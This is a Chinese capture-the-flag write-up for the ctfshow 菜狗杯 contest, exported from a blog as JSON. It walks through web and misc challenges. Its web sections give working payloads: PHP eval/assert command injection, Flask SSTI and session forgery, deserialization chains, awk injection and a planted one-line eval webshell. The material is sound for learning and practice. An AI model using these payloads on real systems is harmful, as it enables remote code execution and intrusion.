{"id":617,"date":"2022-12-13T19:41:51","date_gmt":"2022-12-13T11:41:51","guid":{"rendered":"https:\/\/fushuling.com\/?p=617"},"modified":"2023-07-31T14:47:07","modified_gmt":"2023-07-31T06:47:07","slug":"ctfshow%e8%8f%9c%e7%8b%97%e6%9d%af","status":"publish","type":"post","link":"https:\/\/fushuling.com\/index.php\/2022\/12\/13\/ctfshow%e8%8f%9c%e7%8b%97%e6%9d%af\/","title":{"rendered":"ctfshow\u83dc\u72d7\u676f"},"content":{"rendered":"\n

\u83dc\u72d7\u6765\u7ec3\u7ec3\u624b\uff0c\u591a\u505a\u70b9\uff0c\u770b\u770b\u9898<\/p>\n\n\n\n

WEB<\/h1>\n\n\n\n

web\u7b7e\u5230<\/h2>\n\n\n\n
<?php\n\nerror_reporting(0);\nhighlight_file(__FILE__);\n\neval($_REQUEST[$_GET[$_POST[$_COOKIE['CTFshow-QQ\u7fa4:']]]][6][0][7][5][8][0][9][4][4]);<\/code><\/pre>\n\n\n\n
\u8ba9cookie\u4e2d”CTFshow-QQ\u7fa4:”\u7684\u503c\u7b49\u4e8ea\uff0c\u8fd9\u6837\u63a5\u6536\u5230\u7684$_COOKIE[‘CTFshow-QQ\u7fa4:’]\u5c31\u7b49\u6548\u4e8ea\uff0c\u4ee3\u7801\u6267\u884c\u7684\u5c31\u662f\uff1a<\/p>\n\n\n\n
eval($_REQUEST[$_GET[$_POST[a]]][6][0][7][5][8][0][9][4][4]);<\/code><\/pre>\n\n\n\n
\u7528post\u4f20\u4e00\u4e2aa=b\uff0c\u8fd9\u6837$_POST[a]\u5c31\u7b49\u6548\u4e8eb\uff0c\u4ee3\u7801\u6267\u884c\u7684\u5c31\u662f\uff1a<\/p>\n\n\n\n
eval($_REQUEST[$_GET[b]][6][0][7][5][8][0][9][4][4]);<\/code><\/pre>\n\n\n\n
\u7528get\u4f20\u4e00\u4e2ab=c\uff0c\u8fd9\u6837$_GET[b]\u5c31\u7b49\u6548\u4e8ec\uff0c\u4ee3\u7801\u6267\u884c\u7684\u5c31\u662f\uff1a<\/p>\n\n\n\n
eval($_REQUEST[c][6][0][7][5][8][0][9][4][4]);<\/code><\/pre>\n\n\n\n
\u5bf9\u4e8e$_REQUEST[c][6][0][7][5][8][0][9][4][4]\uff0c$_REQUEST\u53ef\u4ee5\u7528\u4efb\u4f55\u4e00\u79cd\u65b9\u5f0f\u8bf7\u6c42\uff0c\u6211\u4eec\u8fd9\u91cc\u91c7\u7528post\u65b9\u6cd5\u4e0a\u4f20\u3002\u800cc\u4e3a\u6570\u7ec4\uff0c$_REQUEST\u8bf7\u6c42\u4e2d\u4f20\u5165\u7684\u503c\u662f\u53d6\u7684C\u6570\u7ec4\u4e2dID\u952e\u4e3a[6][0][7][5][8][0][9][4][4]\u7684\u503c\uff0c\u56e0\u6b64\u53ef\u4ee5\u7ed9C\u6570\u7ec4\u4e2d\u7684\u8fd9\u4e9b\u952e\u76f4\u63a5\u8d4b\u503c\uff1ac[6][0][7][5][8][0][9][4][4]= system(‘ls \/’);<\/p>\n\n\n\n
\u7136\u540e\u6ce8\u610f\u4e00\u4e0b\u5bf9”\u7fa4”\u5b57\u8fdb\u884c\u7f16\u7801\uff0c\u4e0d\u7136bp\u6ca1\u6cd5\u8bc6\u522b\uff0c\u7136\u540e\u5c31\u53ef\u4ee5\u6267\u884c\u547d\u4ee4\u4e86\uff1a<\/p>\n\n\n\n
\/?b=c\nCookie:CTFshow-QQ%E7%BE%A4:=a\na=b&c[6][0][7][5][8][0][9][4][4]=system('ls \/');<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u7136\u540esystem(‘cat \/f*’);\u5373\u53ef<\/p>\n\n\n\n
web2 c0me_t0_s1gn<\/h2>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u6211\u7684\u773c\u91cc\u53ea\u6709$<\/h2>\n\n\n\n
\u6709\u8da3\u7684\u4e00\u9053\u9898<\/p>\n\n\n\n
<?php\nerror_reporting(0);\nextract($_POST);\neval($$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$_);\nhighlight_file(__FILE__);<\/code><\/pre>\n\n\n\n
\u5bf9\u4e8eextract\u51fd\u6570\uff0c\u6211\u4eecpost\u4f20\u5165_=a<\/code>\u90a3\u4e48$_=a<\/code>\uff0c\u5982\u679c\u5728post\u4f20\u5165a=b<\/code>\u90a3\u4e48$$_=b<\/code>\uff0c\u4ee5\u6b64\u7167\u63a8\uff0c\u6700\u540e\u4e00\u4e2a\u5c31\u662f\u6211\u4eec\u6267\u884c\u547d\u4ee4\u3002<\/p>\n\n\n\n
import string\ns = string.ascii_letters \nt='_=a&'\ncode='system(\"cat \/f*\");'\nfor i in range(35):\n    t+=s[i]+\"=\"+s[i+1]+'&'\n\nt+=s[i]+'='+code\nprint(t)\n#_=a&a=b&b=c&c=d&d=e&e=f&f=g&g=h&h=i&i=j&j=k&k=l&l=m&m=n&n=o&o=p&p=q&q=r&r=s&s=t&t=u&u=v&v=w&w=x&x=y&y=z&z=A&A=B&B=C&C=D&D=E&E=F&F=G&G=H&H=I&I=J&I=system(\"cat \/f*\");<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u62bd\u8001\u5a46<\/h2>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u4e0b\u8f7d\u8001\u5a46\u5904\u5b58\u5728\u4e00\u4e2a\u4efb\u610f\u6587\u4ef6\u4e0b\u8f7d<\/p>\n\n\n\n
from flask import *\nimport os\nimport random\nfrom flag import flag\n\n#\u521d\u59cb\u5316\u5168\u5c40\u53d8\u91cf\napp = Flask(__name__)\napp.config['SECRET_KEY'] = 'tanji_is_A_boy_Yooooooooooooooooooooo!'\n\n@app.route('\/', methods=['GET'])\ndef index():  \n    return render_template('index.html')\n\n\n@app.route('\/getwifi', methods=['GET'])\ndef getwifi():\n    session['isadmin']=False\n    wifi=random.choice(os.listdir('static\/img'))\n    session['current_wifi']=wifi\n    return render_template('getwifi.html',wifi=wifi)\n\n\n\n@app.route('\/download', methods=['GET'])\ndef source(): \n    filename=request.args.get('file')\n    if 'flag' in filename:\n        return jsonify({\"msg\":\"\u4f60\u60f3\u5e72\u4ec0\u4e48\uff1f\"})\n    else:\n        return send_file('static\/img\/'+filename,as_attachment=True)\n\n\n@app.route('\/secret_path_U_never_know',methods=['GET'])\ndef getflag():\n    if session['isadmin']:\n        return jsonify({\"msg\":flag})\n    else:\n        return jsonify({\"msg\":\"\u4f60\u600e\u4e48\u77e5\u9053\u8fd9\u4e2a\u8def\u5f84\u7684\uff1f\u4e0d\u8fc7\u8fd8\u597d\u6211\u6709\u8eab\u4efd\u9a8c\u8bc1\"})\n\n\n\nif __name__ == '__main__':\n    app.run(host='0.0.0.0',port=80,debug=True)<\/code><\/pre>\n\n\n\n
\u53ef\u4ee5\u770b\u5230\u6211\u4eec\u9700\u8981\u4f2a\u9020\u8eab\u4efd\u524d\u5f80\/secret_path_U_never_know\uff0c\u4e0b\u4e2a\u5de5\u5177<\/a>\u4f2a\u9020\u4e0b<\/p>\n\n\n\n
python3 flask_session_cookie_manager3.py encode -t \"{'isadmin':True}\" -s \"tanji_is_A_boy_Yooooooooooooooooooooo\\!\"\n#eyJpc2FkbWluIjp0cnVlfQ.Y5x4EA.mp5viAKszMXpwwwZhEWzsP0KAXI<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u4e00\u8a00\u65e2\u51fa<\/h2>\n\n\n\n
<?php\nhighlight_file(__FILE__); \ninclude \"flag.php\";  \nif (isset($_GET['num'])){\n    if ($_GET['num'] == 114514){\n        assert(\"intval($_GET[num])==1919810\") or die(\"\u4e00\u8a00\u65e2\u51fa\uff0c\u9a77\u9a6c\u96be\u8ffd!\");\n        echo $flag;\n    } \n} <\/code><\/pre>\n\n\n\n
\u56e0\u4e3a\u662f\u5f31\u6bd4\u8f83\uff0c\u6240\u4ee5\u53ef\u4ee5\u7528\uff1a?num=114514+1805296\uff0c\u7f16\u7801\u540e\u4e5f\u5c31\u662f?num=114514%2B1805296<\/p>\n\n\n\n
\u4f46\u53c8\u56e0assert\u51fd\u6570\u8ddfeval\u51fd\u6570\u7c7b\u4f3c\uff0c\u80fd\u591f\u6267\u884cphp\uff0c\u6240\u4ee5\u76f4\u63a5\u95ed\u5408\u4e5f\u884c<\/p>\n\n\n\n
?num=114514);\/\/\n?num=114514)==1 or system('ls');#\n\u7f16\u7801\u4e00\u4e0b\uff1a?num=114514)==1%20or%20system('ls')%3B%23<\/code><\/pre>\n\n\n\n
\u9a77\u9a6c\u96be\u8ffd<\/h2>\n\n\n\n
<?php\nhighlight_file(__FILE__); \ninclude \"flag.php\";  \nif (isset($_GET['num'])){\n     if ($_GET['num'] == 114514 && check($_GET['num'])){\n              assert(\"intval($_GET[num])==1919810\") or die(\"\u4e00\u8a00\u65e2\u51fa\uff0c\u9a77\u9a6c\u96be\u8ffd!\");\n              echo $flag;\n     } \n} \n\nfunction check($str){\n  return !preg_match(\"\/[a-z]|\\;|\\(|\\)\/\",$str);\n}<\/code><\/pre>\n\n\n\n
?num=114514%2b1805296<\/code><\/pre>\n\n\n\n
TapTapTap<\/h2>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u611f\u89c9\u548cweb\u6ca1\u5565\u5173<\/p>\n\n\n\n
Webshell<\/h2>\n\n\n\n
<?php \n    error_reporting(0);\n\n    class Webshell {\n        public $cmd = 'echo \"Hello World!\"';\n\n        public function __construct() {\n            $this->init();\n        }\n\n        public function init() {\n            if (!preg_match('\/flag\/i', $this->cmd)) {\n                $this->exec($this->cmd);\n            }\n        }\n\n        public function exec($cmd) {\n            $result = shell_exec($cmd);\n            echo $result;\n        }\n    }\n\n    if(isset($_GET['cmd'])) {\n        $serializecmd = $_GET['cmd'];\n        $unserializecmd = unserialize($serializecmd);\n        $unserializecmd->init();\n    }\n    else {\n        highlight_file(__FILE__);\n    }\n\n?><\/code><\/pre>\n\n\n\n
<?php\nclass Webshell {\npublic $cmd = 'cat *';\n}\n$a=new Webshell();\necho serialize($a);\n?> \n#O:8:\"Webshell\":1:{s:3:\"cmd\";s:5:\"cat *\";} <\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u5316\u96f6\u4e3a\u6574<\/h2>\n\n\n\n
<?php\n\nhighlight_file(__FILE__);\ninclude \"flag.php\";\n\n$result='';\n\nfor ($i=1;$i<=count($_GET);$i++){\n    if (strlen($_GET[$i])>1){\n        die(\"\u4f60\u592a\u957f\u4e86\uff01\uff01\");\n        }\n    else{\n    $result=$result.$_GET[$i];\n    }\n}\n\nif ($result ===\"\u5927\u725b\"){\n    echo $flag;\n}<\/code><\/pre>\n\n\n\n
?1=%E5&2=%A4&3=%A7&4=%E7&5=%89&6=%9B<\/code><\/pre>\n\n\n\n
\u539f\u7406\u5f88\u7b80\u5355\uff0c”\u5927\u725b” = \u201c%E5%A4%A7%E7%89%9B\u201d\uff0c\u800c\u6211\u4eec\u4f20\u5165\u7684\u5b57\u7b26\u957f\u5ea6\u4e0d\u80fd\u5927\u4e8e\u4e00\uff0c\u6240\u4ee5\u62c6\u5f00\u62fc\u6210\u201c\u5927\u725b\u201c\u5373\u53ef<\/p>\n\n\n\n
\u65e0\u4e00\u5e78\u514d<\/h2>\n\n\n\n
<?php\ninclude \"flag.php\";\nhighlight_file(__FILE__);\n\nif (isset($_GET['0'])){\n    $arr[$_GET['0']]=1;\n    if ($arr[]=1){\n        die($flag);\n    }\n    else{\n        die(\"nonono!\");\n    }\n}<\/code><\/pre>\n\n\n\n
?0=0<\/code><\/pre>\n\n\n\n
\u4e0d\u77e5\u9053\u8003\u70b9\u662f\u5565<\/p>\n\n\n\n
\u4f20\u8bf4\u4e4b\u4e0b\uff08\u96fe\uff09<\/h2>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u7b97\u529b\u8d85\u7fa4<\/h2>\n\n\n\n
\u4e00\u773cssti<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\/_calculate?number1=&operator=&number2=__import__(%27os%27).popen(%27cat%20\/f*%27).read()<\/code><\/pre>\n\n\n\n
\u7b97\u529b\u5347\u7ea7<\/h2>\n\n\n\n
import gmpy2\ns = \" __import__('os').popen('cat \/flag').read()\"\n\n\npayload = \"gmpy2.__builtins__['erf'[0]+'div'[2]+'ai'[0]+'lcm'[0]](\"\n\nfor i in s:\n    if i not in \"\/'(). \":\n        temp_index = 0   # \u5b9a\u4e49\u4e34\u65f6\u4e0b\u6807\n        temp_string = ''  # \u5b9a\u4e49\u4e34\u65f6\u5b57\u7b26\u4e32\n        for j in dir(gmpy2):\n            if j.find(i) >= 0:\n                temp_string = j\n                temp_index = j.find(i)\n        payload += f'\"{temp_string}\"[{temp_index}]+'\n    else:\n        payload += f'\"{i}\"+'\n\npayload = payload[:-1]+')'   # \u6700\u540e\u4e00\u4f4d\u662f\u4e2a+\u53f7\uff0c\u8981\u7ed9\u53bb\u6389\n\nprint(payload)\n#gmpy2.__builtins__['erf'[0]+'div'[2]+'ai'[0]+'lcm'[0]](\" \"+\"xbit_mask\"[4]+\"xbit_mask\"[4]+\"xbit_mask\"[2]+\"xmpz\"[1]+\"xmpz\"[2]+\"zero\"[3]+\"zero\"[2]+\"zeta\"[2]+\"xbit_mask\"[4]+\"xbit_mask\"[4]+\"(\"+\"'\"+\"zero\"[3]+\"xbit_mask\"[7]+\"'\"+\")\"+\".\"+\"xmpz\"[2]+\"zero\"[3]+\"xmpz\"[2]+\"zeta\"[1]+\"yn\"[1]+\"(\"+\"'\"+\"unpack\"[4]+\"zeta\"[3]+\"zeta\"[2]+\" \"+\"\/\"+\"root_of_unity\"[6]+\"rint_floor\"[6]+\"zeta\"[3]+\"sign\"[2]+\"'\"+\")\"+\".\"+\"zero\"[2]+\"zeta\"[1]+\"zeta\"[3]+\"t_mod_2exp\"[4]+\"(\"+\")\")<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
easyPytHon_P<\/h2>\n\n\n\n
from flask import request\ncmd: str = request.form.get('cmd')\nparam: str = request.form.get('param')\n# ------------------------------------- Don't modify \u2191 them \u2191! But you can write your code \u2193\nimport subprocess, os\nif cmd is not None and param is not None:\n    try:\n        tVar = subprocess.run([cmd[:3], param, __file__], cwd=os.getcwd(), timeout=5)\n        print('Done!')\n    except subprocess.TimeoutExpired:\n        print('Timeout!')\n    except:\n        print('Error!')\nelse:\n    print('No Flag!')<\/code><\/pre>\n\n\n\n
\u5173\u952e\u5728\u4e8e<\/p>\n\n\n\n
tVar = subprocess.run([cmd[:3], param, __file__], cwd=os.getcwd(), timeout=5)<\/code><\/pre>\n\n\n\n
\u4f5c\u7528\u5c31\u662f\u5bf9\u5f53\u524d\u76ee\u5f55\u6267\u884c[cmd[:3], param, __file__]\uff0c\u5176\u4e2dcmd\u534a\u53ef\u63a7\uff0cparam\u53ef\u63a7_file_\u662f\u4e2a\u56fa\u5b9a\u503c\u3002<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u8fd9\u6837\u5c31\u53ef\u4ee5\u6267\u884cls \/<\/p>\n\n\n\n
\u6545cmd=awk&param=system(“cat *”)\u5373\u53ef<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u6216\u8005\u4e5f\u53ef\u4ee5\u5148<\/p>\n\n\n\n
cmd=ls&param=.  #.\u662f\u5f53\u524d\u76ee\u5f55<\/code><\/pre>\n\n\n\n
\u518d<\/p>\n\n\n\n
cmd=cat&param=flag.txt<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u904d\u5730\u98d8\u96f6<\/h2>\n\n\n\n
<?php\ninclude \"flag.php\";\nhighlight_file(__FILE__);\n\n$zeros=\"000000000000000000000000000000\";\n\nforeach($_GET as $key => $value){\n    $$key=$$value;\n}\n\nif ($flag==\"000000000000000000000000000000\"){\n    echo \"\u597d\u591a\u96f6\";\n}else{\n    echo \"\u6ca1\u6709\u96f6\uff0c\u4ed4\u7ec6\u770b\u770b\u8f93\u5165\u6709\u4ec0\u4e48\u95ee\u9898\u5427\";\n    var_dump($_GET);\n}<\/code><\/pre>\n\n\n\n
?_GET=flag<\/code><\/pre>\n\n\n\n
\u6ca1\u627e\u5230\u8003\u70b9<\/p>\n\n\n\n
\u8336\u6b47\u533a<\/h2>\n\n\n\n
\u8003\u70b9\u662f\u6574\u5f62\u6ea2\u51fa\uff0cphp\u65e0\u6cd5\u8ba1\u7b97\u592a\u5927\u7684\u6570\uff0c999999999999999999<\/code>\u592a\u591a\u4e86<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
3446744073709551616<\/code>\u5dee\u4e0d\u591a\uff0c\u62ff\u5230flag\u4e86<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u5c0f\u8214\u7530\uff1f<\/h2>\n\n\n\n
<?php\ninclude \"flag.php\";\nhighlight_file(__FILE__);\n\nclass Moon{\n    public $name=\"\u6708\u4eae\";\n    public function __toString(){\n        return $this->name;\n    }\n    \n    public function __wakeup(){\n        echo \"\u6211\u662f\".$this->name.\"\u5feb\u6765\u8d4f\u6211\";\n    }\n}\n\nclass Ion_Fan_Princess{\n    public $nickname=\"\u725b\u592b\u4eba\";\n\n    public function call(){\n        global $flag;\n        if ($this->nickname==\"\u5c0f\u751c\u751c\"){\n            echo $flag;\n        }else{\n            echo \"\u4ee5\u524d\u966a\u6211\u770b\u6708\u4eae\u7684\u65f6\u5019\uff0c\u53eb\u4eba\u5bb6\u5c0f\u751c\u751c\uff01\u73b0\u5728\u65b0\u4eba\u80dc\u65e7\u4eba\uff0c\u53eb\u4eba\u5bb6\".$this->nickname.\"\u3002\\n\";\n            echo \"\u4f60\u4ee5\u4e3a\u6211\u8fd9\u4e48\u8f9b\u82e6\u6765\u8fd9\u91cc\u771f\u7684\u662f\u4e3a\u4e86\u8fd9\u6761\u81ed\u725b\u5417?\u662f\u4e3a\u4e86\u4f60\u8fd9\u4e2a\u6ca1\u826f\u5fc3\u7684\u81ed\u7334\u5b50\u554a!\\n\";\n        }\n    }\n    \n    public function __toString(){\n        $this->call();\n        return \"\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t----\".$this->nickname;\n    }\n}\n\nif (isset($_GET['code'])){\n    unserialize($_GET['code']);\n\n}else{\n    $a=new Ion_Fan_Princess();\n    echo $a;\n}<\/code><\/pre>\n\n\n\n
\u7b80\u5355\u7684\u6279\u7206\uff0c\u597d\u4e45\u6ca1\u89c1\u8fc7\u8fd9\u4e48\u6df3\u6734\u7684pop\u9898\u4e86\uff1a<\/p>\n\n\n\n
Moon::__wakeup()\n\u2193\u2193\u2193\nIon_Fan_Princess::__toString()\n\u2193\u2193\u2193\nIon_Fan_Princess::call()<\/code><\/pre>\n\n\n\n
<?php\nclass Moon{\n        public $name;\n}\nclass Ion_Fan_Princess{\n        public $nickname=\"\u5c0f\u751c\u751c\";\n}\n$a=new Moon();\n$a->name=new Ion_Fan_Princess();\necho urlencode(serialize($a));\n#?code=O%3A4%3A%22Moon%22%3A1%3A%7Bs%3A4%3A%22name%22%3BO%3A16%3A%22Ion_Fan_Princess%22%3A1%3A%7Bs%3A8%3A%22nickname%22%3Bs%3A9%3A%22%E5%B0%8F%E7%94%9C%E7%94%9C%22%3B%7D%7D<\/code><\/pre>\n\n\n\n
LSB\u63a2\u59ec<\/h2>\n\n\n\n
# !\/usr\/bin\/env python\n# -*-coding:utf-8 -*-\n\"\"\"\n# File       : app.py\n# Time       \uff1a2022\/10\/20 15:16\n# Author     \uff1ag4_simon\n# version    \uff1apython 3.9.7\n# Description\uff1aTSTEG-WEB\n# flag is in \/app\/flag.py\n\"\"\"\nfrom flask import *\nimport os\n#\u521d\u59cb\u5316\u5168\u5c40\u53d8\u91cf\napp = Flask(__name__)\n@app.route('\/', methods=['GET'])\ndef index():    \n    return render_template('upload.html')\n@app.route('\/upload', methods=['GET', 'POST'])\ndef upload_file():\n    if request.method == 'POST':\n        try:\n            f = request.files['file']\n            f.save('upload\/'+f.filename)\n            cmd=\"python3 tsteg.py upload\/\"+f.filename\n            result=os.popen(cmd).read()\n            data={\"code\":0,\"cmd\":cmd,\"result\":result,\"message\":\"file uploaded!\"}\n            return jsonify(data)\n        except:\n            data={\"code\":1,\"message\":\"file upload error!\"}\n            return jsonify(data)\n    else:\n        return render_template('upload.html')\n@app.route('\/source', methods=['GET'])\ndef show_source():\n    return render_template('source.html')\nif __name__ == '__main__':\n    app.run(host='0.0.0.0',port=80,debug=False)<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
Is_Not_Obfuscate<\/h2>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
eJwNkze2o0AABA9EAAI0gmADGGEGEE74DI\/w3p1+\/wX69euqzpVDJ2a\/GkWO4z4QQpnTUq9P5fFd3Uu+YvM2ht+ZXSvYiLXq0o8zaUZ\/KSKHeeauPge1HS1rQOaCRvmX5oevKRQajpkc1lMgFhD9uJCH4CSDtZnx8zALzJLhLR2K+WAbhIjf62yY9EFNAfOklJvHScguku8Y5yhtuZSeNGY1vr+NHn6Jn3MYCnm\/z9GbI9TH0XZfPPoqqZRrKo48Gdz+odPf29M09uAXmYMftuX5lbIg586dsj8IPGvx3sRUZROiNLXSiM4s1dil6jpvB8cst8uk6ftkZcIF9tF4N0l7mIhew6On6LVPiWk7YaFYcBSI+CLjlUx0heeixgqiWcRtNyHMfs64sx7oVEPY4ZVZg\/EmgnR+x6othXTZ2ZGQsEYvRa\/U1LaK\/4D7Op3ZKrKFnzAs01qSCbbf+P097nH5uUElYiGbytryRvxAe4t1V5PA2dkKlweEANhJ+DU5vzz0+doHA+3opUlU80ol9Ghxas7B3bayW892QCULlB3LuNEEaS2mp1LoXm8dTJAZgM3BGfCHNYbkODF0DqNXrFCMswdFjb9cCnMokKdNZnLUubhW0yA4h807ywaHFZvPxCuG05XdxV6nLiZapgdgHjFpXFbnrwz9LIzLCGMw+F7BHMJPheaGD3faUo71nCiV6QWQu0VW\/O2DvG+eubaq5t1a5Y3tYJmti6soht26kuF7jUUg+vZz3guJPIhqEvujvCubvp9WFznqRBETu6RM8yssRUdkXOcelo3bvnM3onXcf9+kQvcSUbuwuEnWHYzn16\/ewTo+gVIqv0+DNJC0YUGs9kWnS2+1sAvpdp6qe46VGHNv5Ehm8XNg9SPQyrFYwqRuQZZ\/r2muD0WE4G5qRRQ8dnmkgxTVF7Zh61\/yvmis14AVf3UwjoHywgVs7MNevg\/tCL4JwsgHx6FLo0CANOoThXQcpMmu1ZcY+MB7L5c4S+5arvpFKn\/GN4KvCEWYZ+r7inzI+ng3O1T0eaaqFmy63HfCz4xYWYn4PFjC7ukhBJfY7E+fPm6bO7\/jSe+2SuGuZ5Crxj8yPiLLA1h61snzuxvqfM0ulqNmp\/SzwQLyo5N5HVZEVzMdqY7RiEqT6\/FOLji7N\/7E3c+8ZLOGGQcDJMM5FARuDOfYyh09+M+I1Hdc+bCze4S0TuOa3j7orHPzP\/BLQQLKt6c4cLZ42QbgJwmpowDmVjo\/R6dyCuJbWwKGS8BVtzxfh2YhYu+r1n7mrY7nPTxszI6w\/TWAErJEBVZwXlj33RDqfi+u45uVP292vZOCDP0RHKuVL20QeMwhqsY47fQ7ZuLeKP\/9+w8pT7oT <\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u6539\u5b8c\u524d\u7aef\u70b9\u6267\u884c\u5c31\u80fd\u89e3\u5bc6\u4e86<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
Anything is good?Please test it. <?php\nheader(\"Content-Type:text\/html;charset=utf-8\");\ninclude 'lib.php';\nif(!is_dir('.\/plugins\/')){\n    @mkdir('.\/plugins\/', 0777);\n}\n\/\/Test it and delete it \uff01\uff01\uff01\n\/\/\u6d4b\u8bd5\u6267\u884c\u52a0\u5bc6\u540e\u7684\u63d2\u4ef6\u4ee3\u7801\nif($_GET['action'] === 'test') {\n    echo 'Anything is good?Please test it.';\n    @eval(decode($_GET['input']));\n}\n\nini_set('open_basedir', '.\/plugins\/');\nif(!empty($_GET['action'])){\n    switch ($_GET['action']){\n        case 'pull':\n            $output = @eval(decode(file_get_contents('.\/plugins\/'.$_GET['input'])));\n            echo \"pull success\";\n            break;\n        case 'push':\n            $input = file_put_contents('.\/plugins\/'.md5($_GET['output'].'youyou'), encode($_GET['output']));\n            echo \"push success\";\n            break;\n        default:\n            die('hacker!');\n    }\n}\n\n?><\/code><\/pre>\n\n\n\n
\u5229\u7528\u597dpush\u548cpull\u5373\u53ef\uff0c\u5148\u7528push\u4f20\u9a6c\uff0c\u518d\u7528pull\u6267\u884c\u5b83<\/p>\n\n\n\n
?action=push&output=<?php eval($_GET[1]);?><\/code><\/pre>\n\n\n\n
?action=pull&input=d6e1f0ec8980b49f6061227495a77a44&1=system(\"cat \/f*\");\n#d6e1f0ec8980b49f6061227495a77a44 \u4e3a <?php eval($_GET[1]);?> youyou\u7684md5\u503c\uff1b<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u9f99\u73e0NFT<\/h2>\n\n\n\n
\u6ca1\u592a\u61c2\uff0c\u53c2\u8003<\/a><\/p>\n\n\n\n
import requests\nimport json\nimport base64\nimport random\nurl='http:\/\/18a60993-f1a3-4ba2-87e2-05d8deae3763.challenge.ctf.show\/'\n\n\ns=requests.session()\nusername=str(random.randint(1,100000))\nprint(username)\nr=s.get(url+'?username='+username)\nresponses=[]\n\nfor i in range(10):\n        r=s.get(url+'find_dragonball')\n        responses.append(json.loads(r.text))\n\nfor item in responses:\n        data=json.dumps({'player_id':item['player_id'],'dragonball':item['dragonball'],'round_no':item['round_no'],'time':item['time']})\n        miwen=base64.b64decode(item['address'])\n        round_no=item['round_no']\n        if round_no in [str(i) for i in range(1,8)]:\n                fake_address=miwen[:64]+miwen[80:]\n                fake_address=base64.b64encode(fake_address).decode()\n                r=s.get(url+'get_dragonball',params={\"address\":fake_address})\n\nr=s.get(url+'flag')\nprint(r.text)<\/code><\/pre>\n\n\n\n
\u65e0\u4e00\u5e78\u514d_FIXED<\/h2>\n\n\n\n
<?php\ninclude \"flag.php\";\nhighlight_file(__FILE__);\n\nif (isset($_GET['0'])){\n    $arr[$_GET['0']]=1;\n    if ($arr[]=1){\n        die(\"nonono!\");\n    }\n    else{\n        die($flag);\n    }\n}\n?> <\/code><\/pre>\n\n\n\n
revenage\u7248\u672c\u3002$arr[]=1\u610f\u601d\u662f\u5728\u6570\u7ec4\u4e2d\u8ffd\u52a0\u4e00\u4e2a\u6570\u5e76\u4e14\u8d4b\u503c\u4e3a1\uff0c\u6bd4\u5982\u6570\u7ec4\u79cd\u53ea\u67090\uff0c1\uff0c2\uff0c\u4ed6\u5c31\u4f1a\u8d4b\u503c\u8ba9$arr[3]=1\uff0c\u6240\u4ee5\u6c38\u771f\u4e86\uff0c\u6240\u4ee5\u6211\u4eec\u5f97\u8ba9\u5b83\u5931\u6548\u3002\u8003\u70b9\u662f\u7d22\u5f15\u6570\u7ec4\u6700\u5927\u4e0b\u6807\u7b49\u4e8e\u6700\u5927int\u6570\uff0c\u5bf9\u5176\u8ffd\u52a0\u4f1a\u5bfc\u81f4\u6574\u578b\u6570\u6ea2\u51fa\uff0c\u8fdb\u800c\u5f15\u8d77\u8ffd\u52a0\u5931\u8d25\uff0c32\u4f4d\u6700\u5927\u662f231<\/sup>-1\uff0c64\u4f4d\u662f263<\/sup>-1\uff0c\u4e5f\u5c31\u662f2147483647\u4e0e9223372036854775807\uff0c\u6240\u4ee5\u8f93\u5165?0=9223372036854775807\u5373\u53ef<\/p>\n\n\n\n
MISC<\/h1>\n\n\n\n
\u6742\u9879\u7b7e\u5230<\/h2>\n\n\n\n
\u7528010editor\u6253\u5f00\u4e09\u54c8\u7684\u56fe\u7247\uff0c\u76f4\u63a5\u641c\u7d22ctfshow\u5c31\u62ff\u5230flag\u4e86<\/p>\n\n\n\n
\u635f\u574f\u7684\u538b\u7f29\u5305<\/h2>\n\n\n\n
foremost\u5206\u79bb\u51fa\u56fe\u7247<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u8c1c\u4e4b\u6805\u680f<\/h2>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
cfhwfaab2cb4af5a5820}<\/p>\n\n\n\n
tso{06071f997b5bdd1a<\/p>\n\n\n\n
\u4e24\u4e2a\u62fc\u8d77\u6765\u5c31\u662fflag\u4e86<\/p>\n\n\n\n
ctfshow{f0a6a0b721cfb949a7fb55ab5d8d210a}<\/code><\/p>\n\n\n\n
\u4f60\u4f1a\u6570\u6570\u5417<\/h2>\n\n\n\n
\u4e00\u773c\u8bcd\u9891\u5206\u6790<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
ctfshow{a1b2d3e4g56i7j8k9l0}<\/p>\n\n\n\n
\u4f60\u4f1a\u5f02\u6216\u5417<\/h2>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u5f02\u6216\u540e\u5f97\u5230\u56fe\uff0c\u56fe\u4e0a\u6709flag<\/p>\n\n\n\n
flag\u4e00\u5206\u4e3a\u4e8c<\/h2>\n\n\n\n
